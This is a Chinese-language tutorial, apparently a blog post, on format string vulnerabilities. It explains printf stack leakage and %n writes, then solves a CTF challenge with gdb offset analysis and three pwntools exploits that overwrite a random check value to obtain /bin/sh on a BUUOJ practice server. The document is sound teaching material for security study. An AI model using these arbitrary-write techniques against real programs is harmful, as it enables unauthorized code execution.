格式化字符串基础漏洞

文章发布时间:

最后更新时间:

文章总字数:
2.1k

预计阅读时间:
8 分钟

格式化字符串漏洞原理

printf应该是我们学习c语言起使用的最频繁的函数了

其语法我们熟悉的不能再熟悉了—>printf (“格式化字符串”,参量… )

我们可以写一段代码:

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
int n=5;
printf("%d",n);
return 0;
}

当然我们也可以这样写:

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
char a[]="chen";
printf(a);
return 0;
}

第二种写法虽然没有格式化字符但是仍然可以输出chen这个字符串

那我们再看看第三种写法

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
char a[]="%x%x%x";
printf(a);
return 0;
}

这次我们没有给printf函数参数,只是仅仅给他格式化字符,猜一下,这次能成功吗,如果成功了,会输出什么?

a

输出了像地址的16进制?

我们明明没有给他用以输出的参数,那么这串数据是从哪里来的?

我们用图来表示一下printf输出的时候栈结构是什么样子

b

ps:关于这图,格式化字符串不一定要放在栈顶才能实现任意地址写入,注意别被误导了,下面会提一嘴

如果我们只传入了格式化字符串而没有传入参数

那么格式化字符串仍然会遵循着原先的逻辑,向高地址处逐个字长的输出当前栈的内容/指针(输出的方式根据其格式化字符的不同而不同)

这是因为printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束

pwn题中的格式化字符串通常有两种出法

第一种,使用格式化字符串泄露栈上的内容(canary或者是随机数不一定),由于wp分类中的HUBU2022.fmt已经是这方面的例题了,这里不做额外的讲解,感兴趣的可以去wp分区中自行查看

第二种,也是难度较前者稍高,不好理解的一种

任意内存的读取及任意内存写入

我们首先得了解一个不常用的格式化字符串**%n**

他的作用是将在其之前打印出来的字节数赋值给指定的变量

比如: AAAA%n 就会赋值4给变量

如果我们后面跟上要修改的变量地址,就可以做到任意地址的写入

没懂?没关系来看一道例题

c

开了canary保护,大概率是格式化字符串

看看ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

这里的/dev/urandom是什么?

我们只需要了解他是linux系统中的随机伪设备,他的作用就是提供永不为空的随机字节流

浅看一下他生成的字节流长什么样子

d

说回这道题,看逻辑应该是要我们输入这个随机数,如果一样就调用system(/bin/sh)

而存放这个随机数的就是dword_804C044的地址

那我们这时候应该有两种想法,一种是泄露这个随机数,输入他

还有一种是通过修改这个随机数的值来判定成功

第一种办法本人是没法做出来,感兴趣的可以试一试

那么讲一下第二种办法,由上文的学习我们已经知道

要想用格式化字符串漏洞泄露栈上的内容,需要我们知道目标地址和格式化字符串存放的地址的偏移

用gdb看一下偏移

e

现在main函数处设置一个断点(这里由于main函数被删符号表了,所以b main的话gdb查找不到函数的,删符号表的体现就是在ida中main函数不是粗体字,ida只是凭借逻辑识别他为main函数)

f

接着运行并且跳转到输入字符串这边,我们先输入8个A看一下栈分布的情况

h

这里还是先解释一下x/20wx $esp这个命令是什么意思

其作用是用gdb查看内存 格式: x /n u f

n是要显示的内存单元个数

f表示显示方式, 可取如下值

u表示一个地址单元的长度

这里的x/20wx 的意思就是说查看20个4字节长度的内存单元 并且按16进制的格式显示

至于为什么是以esp为初始地址显示

是因为格式化字符串%n进行任意地址改写是在ESP所指向的地址处所指向的地址处写入数据(可以理解为栈顶)

所以我们需要知道当我们最终构造的payload中需要改写的地址内容距离esp的偏移是多少

而且也正是因为这一点,决定了我们可以不用一定要把格式化字符串放在栈顶

这里可以看到代表着AAAAAAAA的两个0x4141414141距离esp的偏移是10和11(如果我们只输入4个A只会占用偏移10这个字长,因为这是32位程序,等下编写exp的不要被搞晕了)

所以此时我们要如何构造我们的payload?

此时我们将格式化字符放在payload的最后

1
2
3
4
5
6
7
8
from pwn import *
io = remote("node4.buuoj.cn",25117)
context.log_level = "debug"
addr = 0x0804C044
payload = p32(addr)+b"%10$n"
io.sendline(payload)
io.sendline("4")
io.interactive()

由于此时程序是32位,%n前面传入的p32(addr)则为一个字长,四个字节,所以此时addr处的随机数就被我们修改为4

我们接着再输入4,就成功破解了随机数

学会了?觉得很简单?再来看一个比较绕的exp

1
2
3
4
5
6
7
8
from pwn import *
io = remote("node4.buuoj.cn",25117)
context.log_level = "debug"
addr = 0x0804C044
payload = b"AAAAAAA%13$n"+p32(addr)
io.sendline(payload)
io.sendline("7")
io.interactive()

这次我们把addr放在后面传输了,可以看到和上文的区别是前面多了7个A而且这次随机数被我们修改成7了

看不懂没关系,接下来详解

我们再次明确一下概念,这里提到的偏移指的是距离esp的字长数

那么我们要实现改写的是addr这个地址的随机数对吧

此时我们先传入的是字符串“AAAAAAA%13$n”他的字节数是多少?

很明显是12个字节,也就是三个字长

我们之前通过gdb已经明白了,我们写入栈中的第一个字长是位于10偏移处,也就是AAAA

那么接下里的AAA%就会被写入11偏移

13$n就会被写入12偏移

而此时的addr就会被存放在13偏移处,所以此时我们的n就要从10更改为13

似乎有点能理解了是吧?

实际上pwntools中有一个函数,他可以自动帮我们生成这样的payload,而我们要做到的只是给予他基本的参数

fmtstr_payload(offset, {addr: data})

offset就是我们需要更改内容的地址距离esp的偏移

addr就是我们需要改写内容的地址

data就是我们需要改写的数据

来看一下接下来的exp可以怎么写

1
2
3
4
5
6
7
8
9
from pwn import*
io = remote("node4.buuoj.cn",25117)
io.recvuntil("your name:")
payload=fmtstr_payload(10,{0x804C044:1})
io.sendline(payload)
io.recvuntil("your passwd:")
io.sendline("1")
io.recv()
io.interactive()

可以看到,我们就这样轻易的将addr处的随机数更改为了1

是不是比之前的两种payload构造办法简单许多?